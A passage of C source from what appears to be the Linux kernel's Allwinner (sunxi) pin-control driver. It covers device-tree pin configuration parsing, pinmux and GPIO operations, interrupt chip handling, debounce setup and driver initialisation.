*num_pins = 1;
return 0;
}
static bool sunxi_pctrl_has_bias_prop(struct device_node *node)
{
return of_find_property(node, "bias-pull-up", NULL) ||
of_find_property(node, "bias-pull-down", NULL) ||
of_find_property(node, "bias-disable", NULL) ||
of_find_property(node, "allwinner,pull", NULL);
}
static bool sunxi_pctrl_has_drive_prop(struct device_node *node)
{
return of_find_property(node, "drive-strength", NULL) ||
of_find_property(node, "allwinner,drive", NULL);
}
static int sunxi_pctrl_parse_bias_prop(struct device_node *node)
{
u32 val;
/* Try the new style binding */
if (of_find_property(node, "bias-pull-up", NULL))
return PIN_CONFIG_BIAS_PULL_UP;
if (of_find_property(node, "bias-pull-down", NULL))
return PIN_CONFIG_BIAS_PULL_DOWN;
if (of_find_property(node, "bias-disable", NULL))
return PIN_CONFIG_BIAS_DISABLE;
/* And fall back to the old binding */
if (of_property_read_u32(node, "allwinner,pull", &val))
return -EINVAL;
switch (val) {
case SUN4I_PINCTRL_NO_PULL:
return PIN_CONFIG_BIAS_DISABLE;
case SUN4I_PINCTRL_PULL_UP:
return PIN_CONFIG_BIAS_PULL_UP;
case SUN4I_PINCTRL_PULL_DOWN:
return PIN_CONFIG_BIAS_PULL_DOWN;
}
return -EINVAL;
}
static int sunxi_pctrl_parse_drive_prop(struct device_node *node)
{
u32 val;
/* Try the new style binding */
if (!of_property_read_u32(node, "drive-strength", &val)) {
/* We can't go below 10mA ... */
if (val < 10)
return -EINVAL;
/* ... and only up to 40 mA ... */
if (val > 40)
val = 40;
/* by steps of 10 mA */
return rounddown(val, 10);
}
/* And then fall back to the old binding */
if (of_property_read_u32(node, "allwinner,drive", &val))
return -EINVAL;
return (val + 1) * 10;
}
static const char *sunxi_pctrl_parse_function_prop(struct device_node *node)
{
const char *function;
int ret;
/* Try the generic binding */
ret = of_property_read_string(node, "function", &function);
if (!ret)
return function;
/* And fall back to our legacy one */
ret = of_property_read_string(node, "allwinner,function", &function);
if (!ret)
return function;
return NULL;
}
static const char *sunxi_pctrl_find_pins_prop(struct device_node *node,
int *npins)
{
int count;
/* Try the generic binding */
count = of_property_count_strings(node, "pins");
if (count > 0) {
*npins = count;
return "pins";
}
/* And fall back to our legacy one */
count = of_property_count_strings(node, "allwinner,pins");
if (count > 0) {
*npins = count;
return "allwinner,pins";
}
return NULL;
}
static unsigned long *sunxi_pctrl_build_pin_config(struct device_node *node,
unsigned int *len)
{
unsigned long *pinconfig;
unsigned int configlen = 0, idx = 0;
int ret;
if (sunxi_pctrl_has_drive_prop(node))
configlen++;
if (sunxi_pctrl_has_bias_prop(node))
configlen++;
/*
* If we don't have any configuration, bail out
*/
if (!configlen)
return NULL;
pinconfig = kzalloc(configlen * sizeof(*pinconfig), GFP_KERNEL);
if (!pinconfig)
return ERR_PTR(-ENOMEM);
if (sunxi_pctrl_has_drive_prop(node)) {
int drive = sunxi_pctrl_parse_drive_prop(node);
if (drive < 0) {
ret = drive;
goto err_free;
}
pinconfig[idx++] = pinconf_to_config_packed(PIN_CONFIG_DRIVE_STRENGTH,
drive);
}
if (sunxi_pctrl_has_bias_prop(node)) {
int pull = sunxi_pctrl_parse_bias_prop(node);
int arg = 0;
if (pull < 0) {
ret = pull;
goto err_free;
}
if (pull != PIN_CONFIG_BIAS_DISABLE)
arg = 1; /* hardware uses weak pull resistors */
pinconfig[idx++] = pinconf_to_config_packed(pull, arg);
}
*len = configlen;
return pinconfig;
err_free:
kfree(pinconfig);
return ERR_PTR(ret);
}
static int sunxi_pctrl_dt_node_to_map(struct pinctrl_dev *pctldev,
struct device_node *node,
struct pinctrl_map **map,
unsigned *num_maps)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
unsigned long *pinconfig;
struct property *prop;
const char *function, *pin_prop;
const char *group;
int ret, npins, nmaps, configlen = 0, i = 0;
*map = NULL;
*num_maps = 0;
function = sunxi_pctrl_parse_function_prop(node);
if (!function) {
dev_err(pctl->dev, "missing function property in node %s\n",
node->name);
return -EINVAL;
}
pin_prop = sunxi_pctrl_find_pins_prop(node, &npins);
if (!pin_prop) {
dev_err(pctl->dev, "missing pins property in node %s\n",
node->name);
return -EINVAL;
}
/*
* We have two maps for each pin: one for the function, one
* for the configuration (bias, strength, etc).
*
* We might be slightly overshooting, since we might not have
* any configuration.
*/
nmaps = npins * 2;
*map = kmalloc(nmaps * sizeof(struct pinctrl_map), GFP_KERNEL);
if (!*map)
return -ENOMEM;
pinconfig = sunxi_pctrl_build_pin_config(node, &configlen);
if (IS_ERR(pinconfig)) {
ret = PTR_ERR(pinconfig);
goto err_free_map;
}
of_property_for_each_string(node, pin_prop, prop, group) {
struct sunxi_pinctrl_group *grp =
sunxi_pinctrl_find_group_by_name(pctl, group);
if (!grp) {
dev_err(pctl->dev, "unknown pin %s", group);
continue;
}
if (!sunxi_pinctrl_desc_find_function_by_name(pctl,
grp->name,
function)) {
dev_err(pctl->dev, "unsupported function %s on pin %s",
function, group);
continue;
}
(*map)[i].type = PIN_MAP_TYPE_MUX_GROUP;
(*map)[i].data.mux.group = group;
(*map)[i].data.mux.function = function;
i++;
if (pinconfig) {
(*map)[i].type = PIN_MAP_TYPE_CONFIGS_GROUP;
(*map)[i].data.configs.group_or_pin = group;
(*map)[i].data.configs.configs = pinconfig;
(*map)[i].data.configs.num_configs = configlen;
i++;
}
}
*num_maps = i;
/*
* We know have the number of maps we need, we can resize our
* map array
*/
*map = krealloc(*map, i * sizeof(struct pinctrl_map), GFP_KERNEL);
if (!*map)
return -ENOMEM;
return 0;
err_free_map:
kfree(*map);
*map = NULL;
return ret;
}
static void sunxi_pctrl_dt_free_map(struct pinctrl_dev *pctldev,
struct pinctrl_map *map,
unsigned num_maps)
{
int i;
/* pin config is never in the first map */
for (i = 1; i < num_maps; i++) {
if (map[i].type != PIN_MAP_TYPE_CONFIGS_GROUP)
continue;
/*
* All the maps share the same pin config,
* free only the first one we find.
*/
kfree(map[i].data.configs.configs);
break;
}
kfree(map);
}
static const struct pinctrl_ops sunxi_pctrl_ops = {
.dt_node_to_map = sunxi_pctrl_dt_node_to_map,
.dt_free_map = sunxi_pctrl_dt_free_map,
.get_groups_count = sunxi_pctrl_get_groups_count,
.get_group_name = sunxi_pctrl_get_group_name,
.get_group_pins = sunxi_pctrl_get_group_pins,
};
static int sunxi_pconf_reg(unsigned pin, enum pin_config_param param,
u32 *offset, u32 *shift, u32 *mask)
{
switch (param) {
case PIN_CONFIG_DRIVE_STRENGTH:
*offset = sunxi_dlevel_reg(pin);
*shift = sunxi_dlevel_offset(pin);
*mask = DLEVEL_PINS_MASK;
break;
case PIN_CONFIG_BIAS_PULL_UP:
case PIN_CONFIG_BIAS_PULL_DOWN:
case PIN_CONFIG_BIAS_DISABLE:
*offset = sunxi_pull_reg(pin);
*shift = sunxi_pull_offset(pin);
*mask = PULL_PINS_MASK;
break;
default:
return -ENOTSUPP;
}
return 0;
}
static int sunxi_pconf_get(struct pinctrl_dev *pctldev, unsigned pin,
unsigned long *config)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
enum pin_config_param param = pinconf_to_config_param(*config);
u32 offset, shift, mask, val;
u16 arg;
int ret;
pin -= pctl->desc->pin_base;
ret = sunxi_pconf_reg(pin, param, &offset, &shift, &mask);
if (ret < 0)
return ret;
val = (readl(pctl->membase + offset) >> shift) & mask;
switch (pinconf_to_config_param(*config)) {
case PIN_CONFIG_DRIVE_STRENGTH:
arg = (val + 1) * 10;
break;
case PIN_CONFIG_BIAS_PULL_UP:
if (val != SUN4I_PINCTRL_PULL_UP)
return -EINVAL;
arg = 1; /* hardware is weak pull-up */
break;
case PIN_CONFIG_BIAS_PULL_DOWN:
if (val != SUN4I_PINCTRL_PULL_DOWN)
return -EINVAL;
arg = 1; /* hardware is weak pull-down */
break;
case PIN_CONFIG_BIAS_DISABLE:
if (val != SUN4I_PINCTRL_NO_PULL)
return -EINVAL;
arg = 0;
break;
default:
/* sunxi_pconf_reg should catch anything unsupported */
WARN_ON(1);
return -ENOTSUPP;
}
*config = pinconf_to_config_packed(param, arg);
return 0;
}
static int sunxi_pconf_group_get(struct pinctrl_dev *pctldev,
unsigned group,
unsigned long *config)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
struct sunxi_pinctrl_group *g = &pctl->groups[group];
/* We only support 1 pin per group. Chain it to the pin callback */
return sunxi_pconf_get(pctldev, g->pin, config);
}
static int sunxi_pconf_group_set(struct pinctrl_dev *pctldev,
unsigned group,
unsigned long *configs,
unsigned num_configs)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
struct sunxi_pinctrl_group *g = &pctl->groups[group];
unsigned pin = g->pin - pctl->desc->pin_base;
int i;
for (i = 0; i < num_configs; i++) {
enum pin_config_param param;
unsigned long flags;
u32 offset, shift, mask, reg;
u32 arg, val;
int ret;
param = pinconf_to_config_param(configs[i]);
arg = pinconf_to_config_argument(configs[i]);
ret = sunxi_pconf_reg(pin, param, &offset, &shift, &mask);
if (ret < 0)
return ret;
switch (param) {
case PIN_CONFIG_DRIVE_STRENGTH:
if (arg < 10 || arg > 40)
return -EINVAL;
/*
* We convert from mA to what the register expects:
* 0: 10mA
* 1: 20mA
* 2: 30mA
* 3: 40mA
*/
val = arg / 10 - 1;
break;
case PIN_CONFIG_BIAS_DISABLE:
val = 0;
break;
case PIN_CONFIG_BIAS_PULL_UP:
if (arg == 0)
return -EINVAL;
val = 1;
break;
case PIN_CONFIG_BIAS_PULL_DOWN:
if (arg == 0)
return -EINVAL;
val = 2;
break;
default:
/* sunxi_pconf_reg should catch anything unsupported */
WARN_ON(1);
return -ENOTSUPP;
}
raw_spin_lock_irqsave(&pctl->lock, flags);
reg = readl(pctl->membase + offset);
reg &= ~(mask << shift);
writel(reg | val << shift, pctl->membase + offset);
raw_spin_unlock_irqrestore(&pctl->lock, flags);
} /* for each config */
return 0;
}
static const struct pinconf_ops sunxi_pconf_ops = {
.is_generic = true,
.pin_config_get = sunxi_pconf_get,
.pin_config_group_get = sunxi_pconf_group_get,
.pin_config_group_set = sunxi_pconf_group_set,
};
static int sunxi_pmx_get_funcs_cnt(struct pinctrl_dev *pctldev)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
return pctl->nfunctions;
}
static const char *sunxi_pmx_get_func_name(struct pinctrl_dev *pctldev,
unsigned function)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
return pctl->functions[function].name;
}
static int sunxi_pmx_get_func_groups(struct pinctrl_dev *pctldev,
unsigned function,
const char * const **groups,
unsigned * const num_groups)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
*groups = pctl->functions[function].groups;
*num_groups = pctl->functions[function].ngroups;
return 0;
}
static void sunxi_pmx_set(struct pinctrl_dev *pctldev,
unsigned pin,
u8 config)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
unsigned long flags;
u32 val, mask;
raw_spin_lock_irqsave(&pctl->lock, flags);
pin -= pctl->desc->pin_base;
val = readl(pctl->membase + sunxi_mux_reg(pin));
mask = MUX_PINS_MASK << sunxi_mux_offset(pin);
writel((val & ~mask) | config << sunxi_mux_offset(pin),
pctl->membase + sunxi_mux_reg(pin));
raw_spin_unlock_irqrestore(&pctl->lock, flags);
}
static int sunxi_pmx_set_mux(struct pinctrl_dev *pctldev,
unsigned function,
unsigned group)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
struct sunxi_pinctrl_group *g = pctl->groups + group;
struct sunxi_pinctrl_function *func = pctl->functions + function;
struct sunxi_desc_function *desc =
sunxi_pinctrl_desc_find_function_by_name(pctl,
g->name,
func->name);
if (!desc)
return -EINVAL;
sunxi_pmx_set(pctldev, g->pin, desc->muxval);
return 0;
}
static int
sunxi_pmx_gpio_set_direction(struct pinctrl_dev *pctldev,
struct pinctrl_gpio_range *range,
unsigned offset,
bool input)
{
struct sunxi_pinctrl *pctl = pinctrl_dev_get_drvdata(pctldev);
struct sunxi_desc_function *desc;
const char *func;
if (input)
func = "gpio_in";
else
func = "gpio_out";
desc = sunxi_pinctrl_desc_find_function_by_pin(pctl, offset, func);
if (!desc)
return -EINVAL;
sunxi_pmx_set(pctldev, offset, desc->muxval);
return 0;
}
static const struct pinmux_ops sunxi_pmx_ops = {
.get_functions_count = sunxi_pmx_get_funcs_cnt,
.get_function_name = sunxi_pmx_get_func_name,
.get_function_groups = sunxi_pmx_get_func_groups,
.set_mux = sunxi_pmx_set_mux,
.gpio_set_direction = sunxi_pmx_gpio_set_direction,
.strict = true,
};
static int sunxi_pinctrl_gpio_direction_input(struct gpio_chip *chip,
unsigned offset)
{
return pinctrl_gpio_direction_input(chip->base + offset);
}
static int sunxi_pinctrl_gpio_get(struct gpio_chip *chip, unsigned offset)
{
struct sunxi_pinctrl *pctl = gpiochip_get_data(chip);
u32 reg = sunxi_data_reg(offset);
u8 index = sunxi_data_offset(offset);
bool set_mux = pctl->desc->irq_read_needs_mux &&
gpiochip_line_is_irq(chip, offset);
u32 pin = offset + chip->base;
u32 val;
if (set_mux)
sunxi_pmx_set(pctl->pctl_dev, pin, SUN4I_FUNC_INPUT);
val = (readl(pctl->membase + reg) >> index) & DATA_PINS_MASK;
if (set_mux)
sunxi_pmx_set(pctl->pctl_dev, pin, SUN4I_FUNC_IRQ);
return !!val;
}
static void sunxi_pinctrl_gpio_set(struct gpio_chip *chip,
unsigned offset, int value)
{
struct sunxi_pinctrl *pctl = gpiochip_get_data(chip);
u32 reg = sunxi_data_reg(offset);
u8 index = sunxi_data_offset(offset);
unsigned long flags;
u32 regval;
raw_spin_lock_irqsave(&pctl->lock, flags);
regval = readl(pctl->membase + reg);
if (value)
regval |= BIT(index);
else
regval &= ~(BIT(index));
writel(regval, pctl->membase + reg);
raw_spin_unlock_irqrestore(&pctl->lock, flags);
}
static int sunxi_pinctrl_gpio_direction_output(struct gpio_chip *chip,
unsigned offset, int value)
{
sunxi_pinctrl_gpio_set(chip, offset, value);
return pinctrl_gpio_direction_output(chip->base + offset);
}
static int sunxi_pinctrl_gpio_of_xlate(struct gpio_chip *gc,
const struct of_phandle_args *gpiospec,
u32 *flags)
{
int pin, base;
base = PINS_PER_BANK * gpiospec->args[0];
pin = base + gpiospec->args[1];
if (pin > gc->ngpio)
return -EINVAL;
if (flags)
*flags = gpiospec->args[2];
return pin;
}
static int sunxi_pinctrl_gpio_to_irq(struct gpio_chip *chip, unsigned offset)
{
struct sunxi_pinctrl *pctl = gpiochip_get_data(chip);
struct sunxi_desc_function *desc;
unsigned pinnum = pctl->desc->pin_base + offset;
unsigned irqnum;
if (offset >= chip->ngpio)
return -ENXIO;
desc = sunxi_pinctrl_desc_find_function_by_pin(pctl, pinnum, "irq");
if (!desc)
return -EINVAL;
irqnum = desc->irqbank * IRQ_PER_BANK + desc->irqnum;
dev_dbg(chip->parent, "%s: request IRQ for GPIO %d, return %d\n",
chip->label, offset + chip->base, irqnum);
return irq_find_mapping(pctl->domain, irqnum);
}
static int sunxi_pinctrl_irq_request_resources(struct irq_data *d)
{
struct sunxi_pinctrl *pctl = irq_data_get_irq_chip_data(d);
struct sunxi_desc_function *func;
int ret;
func = sunxi_pinctrl_desc_find_function_by_pin(pctl,
pctl->irq_array[d->hwirq], "irq");
if (!func)
return -EINVAL;
ret = gpiochip_lock_as_irq(pctl->chip,
pctl->irq_array[d->hwirq] - pctl->desc->pin_base);
if (ret) {
dev_err(pctl->dev, "unable to lock HW IRQ %lu for IRQ\n",
irqd_to_hwirq(d));
return ret;
}
/* Change muxing to INT mode */
sunxi_pmx_set(pctl->pctl_dev, pctl->irq_array[d->hwirq], func->muxval);
return 0;
}
static void sunxi_pinctrl_irq_release_resources(struct irq_data *d)
{
struct sunxi_pinctrl *pctl = irq_data_get_irq_chip_data(d);
gpiochip_unlock_as_irq(pctl->chip,
pctl->irq_array[d->hwirq] - pctl->desc->pin_base);
}
static int sunxi_pinctrl_irq_set_type(struct irq_data *d, unsigned int type)
{
struct sunxi_pinctrl *pctl = irq_data_get_irq_chip_data(d);
u32 reg = sunxi_irq_cfg_reg(d->hwirq, pctl->desc->irq_bank_base);
u8 index = sunxi_irq_cfg_offset(d->hwirq);
unsigned long flags;
u32 regval;
u8 mode;
switch (type) {
case IRQ_TYPE_EDGE_RISING:
mode = IRQ_EDGE_RISING;
break;
case IRQ_TYPE_EDGE_FALLING:
mode = IRQ_EDGE_FALLING;
break;
case IRQ_TYPE_EDGE_BOTH:
mode = IRQ_EDGE_BOTH;
break;
case IRQ_TYPE_LEVEL_HIGH:
mode = IRQ_LEVEL_HIGH;
break;
case IRQ_TYPE_LEVEL_LOW:
mode = IRQ_LEVEL_LOW;
break;
default:
return -EINVAL;
}
raw_spin_lock_irqsave(&pctl->lock, flags);
if (type & IRQ_TYPE_LEVEL_MASK)
irq_set_chip_handler_name_locked(d, &sunxi_pinctrl_level_irq_chip,
handle_fasteoi_irq, NULL);
else
irq_set_chip_handler_name_locked(d, &sunxi_pinctrl_edge_irq_chip,
handle_edge_irq, NULL);
regval = readl(pctl->membase + reg);
regval &= ~(IRQ_CFG_IRQ_MASK << index);
writel(regval | (mode << index), pctl->membase + reg);
raw_spin_unlock_irqrestore(&pctl->lock, flags);
return 0;
}
static void sunxi_pinctrl_irq_ack(struct irq_data *d)
{
struct sunxi_pinctrl *pctl = irq_data_get_irq_chip_data(d);
u32 status_reg = sunxi_irq_status_reg(d->hwirq,
pctl->desc->irq_bank_base);
u8 status_idx = sunxi_irq_status_offset(d->hwirq);
/* Clear the IRQ */
writel(1 << status_idx, pctl->membase + status_reg);
}
static void sunxi_pinctrl_irq_mask(struct irq_data *d)
{
struct sunxi_pinctrl *pctl = irq_data_get_irq_chip_data(d);
u32 reg = sunxi_irq_ctrl_reg(d->hwirq, pctl->desc->irq_bank_base);
u8 idx = sunxi_irq_ctrl_offset(d->hwirq);
unsigned long flags;
u32 val;
raw_spin_lock_irqsave(&pctl->lock, flags);
/* Mask the IRQ */
val = readl(pctl->membase + reg);
writel(val & ~(1 << idx), pctl->membase + reg);
raw_spin_unlock_irqrestore(&pctl->lock, flags);
}
static void sunxi_pinctrl_irq_unmask(struct irq_data *d)
{
struct sunxi_pinctrl *pctl = irq_data_get_irq_chip_data(d);
u32 reg = sunxi_irq_ctrl_reg(d->hwirq, pctl->desc->irq_bank_base);
u8 idx = sunxi_irq_ctrl_offset(d->hwirq);
unsigned long flags;
u32 val;
raw_spin_lock_irqsave(&pctl->lock, flags);
/* Unmask the IRQ */
val = readl(pctl->membase + reg);
writel(val | (1 << idx), pctl->membase + reg);
raw_spin_unlock_irqrestore(&pctl->lock, flags);
}
static void sunxi_pinctrl_irq_ack_unmask(struct irq_data *d)
{
sunxi_pinctrl_irq_ack(d);
sunxi_pinctrl_irq_unmask(d);
}
static struct irq_chip sunxi_pinctrl_edge_irq_chip = {
.name = "sunxi_pio_edge",
.irq_ack = sunxi_pinctrl_irq_ack,
.irq_mask = sunxi_pinctrl_irq_mask,
.irq_unmask = sunxi_pinctrl_irq_unmask,
.irq_request_resources = sunxi_pinctrl_irq_request_resources,
.irq_release_resources = sunxi_pinctrl_irq_release_resources,
.irq_set_type = sunxi_pinctrl_irq_set_type,
.flags = IRQCHIP_SKIP_SET_WAKE,
};
static struct irq_chip sunxi_pinctrl_level_irq_chip = {
.name = "sunxi_pio_level",
.irq_eoi = sunxi_pinctrl_irq_ack,
.irq_mask = sunxi_pinctrl_irq_mask,
.irq_unmask = sunxi_pinctrl_irq_unmask,
/* Define irq_enable / disable to avoid spurious irqs for drivers
* using these to suppress irqs while they clear the irq source */
.irq_enable = sunxi_pinctrl_irq_ack_unmask,
.irq_disable = sunxi_pinctrl_irq_mask,
.irq_request_resources = sunxi_pinctrl_irq_request_resources,
.irq_release_resources = sunxi_pinctrl_irq_release_resources,
.irq_set_type = sunxi_pinctrl_irq_set_type,
.flags = IRQCHIP_SKIP_SET_WAKE | IRQCHIP_EOI_THREADED |
IRQCHIP_EOI_IF_HANDLED,
};
static int sunxi_pinctrl_irq_of_xlate(struct irq_domain *d,
struct device_node *node,
const u32 *intspec,
unsigned int intsize,
unsigned long *out_hwirq,
unsigned int *out_type)
{
struct sunxi_pinctrl *pctl = d->host_data;
struct sunxi_desc_function *desc;
int pin, base;
if (intsize < 3)
return -EINVAL;
base = PINS_PER_BANK * intspec[0];
pin = pctl->desc->pin_base + base + intspec[1];
desc = sunxi_pinctrl_desc_find_function_by_pin(pctl, pin, "irq");
if (!desc)
return -EINVAL;
*out_hwirq = desc->irqbank * PINS_PER_BANK + desc->irqnum;
*out_type = intspec[2];
return 0;
}
static const struct irq_domain_ops sunxi_pinctrl_irq_domain_ops = {
.xlate = sunxi_pinctrl_irq_of_xlate,
};
static void sunxi_pinctrl_irq_handler(struct irq_desc *desc)
{
unsigned int irq = irq_desc_get_irq(desc);
struct irq_chip *chip = irq_desc_get_chip(desc);
struct sunxi_pinctrl *pctl = irq_desc_get_handler_data(desc);
unsigned long bank, reg, val;
for (bank = 0; bank < pctl->desc->irq_banks; bank++)
if (irq == pctl->irq[bank])
break;
if (bank == pctl->desc->irq_banks)
return;
reg = sunxi_irq_status_reg_from_bank(bank, pctl->desc->irq_bank_base);
val = readl(pctl->membase + reg);
if (val) {
int irqoffset;
chained_irq_enter(chip, desc);
for_each_set_bit(irqoffset, &val, IRQ_PER_BANK) {
int pin_irq = irq_find_mapping(pctl->domain,
bank * IRQ_PER_BANK + irqoffset);
generic_handle_irq(pin_irq);
}
chained_irq_exit(chip, desc);
}
}
static int sunxi_pinctrl_add_function(struct sunxi_pinctrl *pctl,
const char *name)
{
struct sunxi_pinctrl_function *func = pctl->functions;
while (func->name) {
/* function already there */
if (strcmp(func->name, name) == 0) {
func->ngroups++;
return -EEXIST;
}
func++;
}
func->name = name;
func->ngroups = 1;
pctl->nfunctions++;
return 0;
}
static int sunxi_pinctrl_build_state(struct platform_device *pdev)
{
struct sunxi_pinctrl *pctl = platform_get_drvdata(pdev);
int i;
/*
* Allocate groups
*
* We assume that the number of groups is the number of pins
* given in the data array.
* This will not always be true, since some pins might not be
* available in the current variant, but fortunately for us,
* this means that the number of pins is the maximum group
* number we will ever see.
*/
pctl->groups = devm_kzalloc(&pdev->dev,
pctl->desc->npins * sizeof(*pctl->groups),
GFP_KERNEL);
if (!pctl->groups)
return -ENOMEM;
for (i = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
struct sunxi_pinctrl_group *group = pctl->groups + pctl->ngroups;
if (pin->variant && !(pctl->variant & pin->variant))
continue;
group->name = pin->pin.name;
group->pin = pin->pin.number;
/* And now we count the actual number of pins / groups */
pctl->ngroups++;
}
/*
* We suppose that we won't have any more functions than pins,
* we'll reallocate that later anyway
*/
pctl->functions = devm_kzalloc(&pdev->dev,
pctl->ngroups * sizeof(*pctl->functions),
GFP_KERNEL);
if (!pctl->functions)
return -ENOMEM;
/* Count functions and their associated groups */
for (i = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
struct sunxi_desc_function *func;
if (pin->variant && !(pctl->variant & pin->variant))
continue;
for (func = pin->functions; func->name; func++) {
if (func->variant && !(pctl->variant & func->variant))
continue;
/* Create interrupt mapping while we're at it */
if (!strcmp(func->name, "irq")) {
int irqnum = func->irqnum + func->irqbank * IRQ_PER_BANK;
pctl->irq_array[irqnum] = pin->pin.number;
}
sunxi_pinctrl_add_function(pctl, func->name);
}
}
/* And now allocated and fill the array for real */
pctl->functions = krealloc(pctl->functions,
pctl->nfunctions * sizeof(*pctl->functions),
GFP_KERNEL);
if (!pctl->functions) {
kfree(pctl->functions);
return -ENOMEM;
}
for (i = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
struct sunxi_desc_function *func;
if (pin->variant && !(pctl->variant & pin->variant))
continue;
for (func = pin->functions; func->name; func++) {
struct sunxi_pinctrl_function *func_item;
const char **func_grp;
if (func->variant && !(pctl->variant & func->variant))
continue;
func_item = sunxi_pinctrl_find_function_by_name(pctl,
func->name);
if (!func_item)
return -EINVAL;
if (!func_item->groups) {
func_item->groups =
devm_kzalloc(&pdev->dev,
func_item->ngroups * sizeof(*func_item->groups),
GFP_KERNEL);
if (!func_item->groups)
return -ENOMEM;
}
func_grp = func_item->groups;
while (*func_grp)
func_grp++;
*func_grp = pin->pin.name;
}
}
return 0;
}
static int sunxi_pinctrl_get_debounce_div(struct clk *clk, int freq, int *diff)
{
unsigned long clock = clk_get_rate(clk);
unsigned int best_diff, best_div;
int i;
best_diff = abs(freq - clock);
best_div = 0;
for (i = 1; i < 8; i++) {
int cur_diff = abs(freq - (clock >> i));
if (cur_diff < best_diff) {
best_diff = cur_diff;
best_div = i;
}
}
*diff = best_diff;
return best_div;
}
static int sunxi_pinctrl_setup_debounce(struct sunxi_pinctrl *pctl,
struct device_node *node)
{
unsigned int hosc_diff, losc_diff;
unsigned int hosc_div, losc_div;
struct clk *hosc, *losc;
u8 div, src;
int i, ret;
/* Deal with old DTs that didn't have the oscillators */
if (of_clk_get_parent_count(node) != 3)
return 0;
/* If we don't have any setup, bail out */
if (!of_find_property(node, "input-debounce", NULL))
return 0;
losc = devm_clk_get(pctl->dev, "losc");
if (IS_ERR(losc))
return PTR_ERR(losc);
hosc = devm_clk_get(pctl->dev, "hosc");
if (IS_ERR(hosc))
return PTR_ERR(hosc);
for (i = 0; i < pctl->desc->irq_banks; i++) {
unsigned long debounce_freq;
u32 debounce;
ret = of_property_read_u32_index(node, "input-debounce",
i, &debounce);
if (ret)
return ret;
if (!debounce)
continue;
debounce_freq = DIV_ROUND_CLOSEST(USEC_PER_SEC, debounce);
losc_div = sunxi_pinctrl_get_debounce_div(losc,
debounce_freq,
&losc_diff);
hosc_div = sunxi_pinctrl_get_debounce_div(hosc,
debounce_freq,
&hosc_diff);
if (hosc_diff < losc_diff) {
div = hosc_div;
src = 1;
} else {
div = losc_div;
src = 0;
}
writel(src | div << 4,
pctl->membase +
sunxi_irq_debounce_reg_from_bank(i,
pctl->desc->irq_bank_base));
}
return 0;
}
int sunxi_pinctrl_init_with_variant(struct platform_device *pdev,
const struct sunxi_pinctrl_desc *desc,
unsigned long variant)
{
struct device_node *node = pdev->dev.of_node;
struct pinctrl_desc *pctrl_desc;
struct pinctrl_pin_desc *pins;
struct sunxi_pinctrl *pctl;
struct pinmux_ops *pmxops;
struct resource *res;
int i, ret, last_pin, pin_idx;
struct clk *clk;
pctl = devm_kzalloc(&pdev->dev, sizeof(*pctl), GFP_KERNEL);
if (!pctl)
return -ENOMEM;
platform_set_drvdata(pdev, pctl);
raw_spin_lock_init(&pctl->lock);
res = platform_get_resource(pdev, IORESOURCE_MEM, 0);
pctl->membase = devm_ioremap_resource(&pdev->dev, res);
if (IS_ERR(pctl->membase))
return PTR_ERR(pctl->membase);
pctl->dev = &pdev->dev;
pctl->desc = desc;
pctl->variant = variant;
pctl->irq_array = devm_kcalloc(&pdev->dev,
IRQ_PER_BANK * pctl->desc->irq_banks,
sizeof(*pctl->irq_array),
GFP_KERNEL);
if (!pctl->irq_array)
return -ENOMEM;
ret = sunxi_pinctrl_build_state(pdev);
if (ret) {
dev_err(&pdev->dev, "dt probe failed: %d\n", ret);
return ret;
}
pins = devm_kzalloc(&pdev->dev,
pctl->desc->npins * sizeof(*pins),
GFP_KERNEL);
if (!pins)
return -ENOMEM;
for (i = 0, pin_idx = 0; i < pctl->desc->npins; i++) {
const struct sunxi_desc_pin *pin = pctl->desc->pins + i;
if (pin->variant && !(pctl->variant & pin->variant))
continue;
pins[pin_idx++] = pin->pin;
}
pctrl_desc = devm_kzalloc(&pdev->dev,
sizeof(*pctrl_desc),
GFP_KERNEL);
if (!pctrl_desc)
return -ENOMEM;
pctrl_desc->name = dev_name(&pdev->dev);
pctrl_desc->owner = THIS_MODULE;
pctrl_desc->pins = pins;
pctrl_desc->npins = pctl->ngroups;
pctrl_desc->confops = &sunxi_pconf_ops;
pctrl_desc->pctlops = &sunxi_pctrl_ops;
pmxops = devm_kmemdup(&pdev->dev, &sunxi_pmx_ops, sizeof(sunxi_pmx_ops),
GFP_KERNEL);
if (!pmxops)
return -ENOMEM;
if (desc->disable_strict_mode)
pmxops->strict = false;
pctrl_desc->pmxops = pmxops;
pctl->pctl_dev = devm_pinctrl_register(&pdev->dev, pctrl_desc, pctl);
if (IS_ERR(pctl->pctl_dev)) {
dev_err(&pdev->dev, "couldn't register pinctrl driver\n");
return PTR_ERR(pctl->pctl_dev);
}
pctl->chip = devm_kzalloc(&pdev->dev, sizeof(*pctl->chip), GFP_KERNEL);
if (!pctl->chip)
return -ENOMEM;
last_pin = pctl->desc->pins[pctl->desc->npins - 1].pin.number;
pctl->chip->owner = THIS_MODULE;
pctl->chip->request = gpiochip_generic_request,
pctl->chip->free = gpiochip_generic_free,
pctl->chip->direction_input = sunxi_pinctrl_gpio_direction_input,
pctl->chip->direction_output = sunxi_pinctrl_gpio_direction_output,
pctl->chip->get = sunxi_pinctrl_gpio_get,
pctl->chip->set = sunxi_pinctrl_gpio_set,
pctl->chip->of_xlate = sunxi_pinctrl_gpio_of_xlate,
pctl->chip->to_irq = sunxi_pinctrl_gpio_to_irq,
pctl->chip->of_gpio_n_cells = 3,
pctl->chip->can_sleep = false,
pctl->chip->ngpio = round_up(last_pin, PINS_PER_BANK) -
pctl->desc->pin_base;
pctl->chip->label = dev_name(&pdev->dev);
pctl->chip->parent = &pdev->dev;
pctl->chip->base = pctl->desc->pin_base;
ret = gpiochip_add_data(pctl->chip, pctl);
